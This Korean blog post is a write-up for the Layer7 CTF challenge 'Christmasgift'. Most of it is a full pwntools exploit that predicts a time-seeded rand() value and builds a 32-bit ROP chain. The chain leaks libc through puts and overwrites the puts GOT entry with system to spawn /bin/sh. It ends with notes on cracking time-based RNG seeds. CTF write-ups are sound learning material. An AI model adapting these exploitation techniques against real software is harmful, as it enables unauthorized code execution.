[ layer7 ctf ] Christmasgift

2022. 12. 20. 13:48ctf

반응형

getGift

wow, fantastic, holy를 모두 1로 만들어 주고 rop을 하면 끝나는

쉬운 문제였지만 rop payload에서 payload에 += 으로 내용을 계속 더해주는게 아닌

계속 = 으로 초기화를 해주고 있었다 그래서 익스코드에 문제가 생겼던 것이였다

문제를 푸는중에 밖에 나가야할 일이 생겨 계속 ctf는 참여하지 못해서 좀 아쉽다.

 

 

익스 코드 

from pwn import *
from ctypes import CDLL
import time
import math

context.log_level = "debug"

r = process("/home/asdf/ctf/layer7/christmasgift")
e = ELF("/home/asdf/ctf/layer7/christmasgift")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

def santa():
    r.sendlineafter(b"Exit", b'0')
    r.sendlineafter(b":", b"1")

def rudolph():
    r.sendlineafter(b"Exit", b'1')
    libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    libc.srand(libc.time(0x00))
    rand = libc.rand() % 0x1e + 1
    r.sendlineafter(b"7)", str(rand).encode())
    print(rand)

def goodchild():
    r.recvuntil(b"Go!!!!")

    for i in range(5):
        val1 = int(r.recvuntil(b" "))
        calc = r.recvuntil(b" ")[:-1]
        val2 = int(r.recvuntil(b" "))

        print(val1)
        print(calc)
        print(val2)

        if calc == b'+':
            value = val1 + val2
            print(value)
            r.sendline(str(value).encode())

        if calc == b'-':
            value = val1 - val2
            print(value)
            r.sendline(str(value).encode())

        if calc == b'*':
            value = val1 * val2
            print(value)
            r.sendline(str(value).encode())

        if calc == b'/':
            value = math.trunc(val1 / val2)
            print(value)
            r.sendline(str(value).encode())
        
        r.recvuntil(b"points!")

def gift():
    pr = 0x080484b9
    pppr = 0x08048f49

    payload = b'A' * 0x18 #dummy
    payload += p32(e.plt['puts'])
    payload += p32(pr)
    payload += p32(e.got['puts'])

    payload += p32(e.plt['read'])
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(e.got['puts'])
    payload += p32(0x50)

    payload += p32(e.plt['puts'])
    payload += p32(pr)
    payload += p32(e.got['puts']+4) #/bin/sh

    r.sendlineafter(b"Exit", b'2')
    r.sendafter(b"is!", payload)

    libc_base = u32(r.recvuntil(b"\xf7")[-4:])
    print("libc base : ", hex(libc_base))
    print("libc.sym : ", hex(libc.sym['puts']))
    libc_base -= libc.symbols['puts']
    print("libc base : ", hex(libc_base))

    time.sleep(0.3)
    r.send(p32((libc_base + libc.sym['system'])) + b"/bin/sh\x00")


r.sendlineafter(b"!", b'1')
santa()

rudolph()

r.sendlineafter(b"Exit", b'3')
goodchild()

gift()

r.interactive()

 

문제를 풀며 배운점

 

- recv한 값을 str으로 타입캐스팅하면 b' '도 포함된다.

 

- int()로 타입캐스팅을 하면 "\n\n\n123" 이렇게 있어도

\n은 다 사라지고 숫자만 남는다.

 

- 리눅스에서 x86 라이브러리의 위치는 /lib/i386-linux-gnu/libc.so.6 이다.

 

- srand의 seed로 time을 줄 경우 

from ctypes import CDLL

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') 
libc.srand(libc.time(0x00))
rand = libc.rand()

위 코드를 통해 서버와 같은 시간에 해당 코드를 실행시켜 크랙이 가능하다.

 

- 만약 크랙이 제대로 안 된다면 time() n +1, +2 요런식으로 해준다.

 

반응형

'ctf' 카테고리의 다른 글

[ codegate - pwn] librarian  (2) 2023.06.18
[ CCE 사이버공격방어대회 ] n0t rand0m  (3) 2023.06.12
Dreamhack CTF Season 3 Round #2  (0) 2023.04.22
[ 화이트햇 콘테스트 ] left_right  (0) 2022.10.17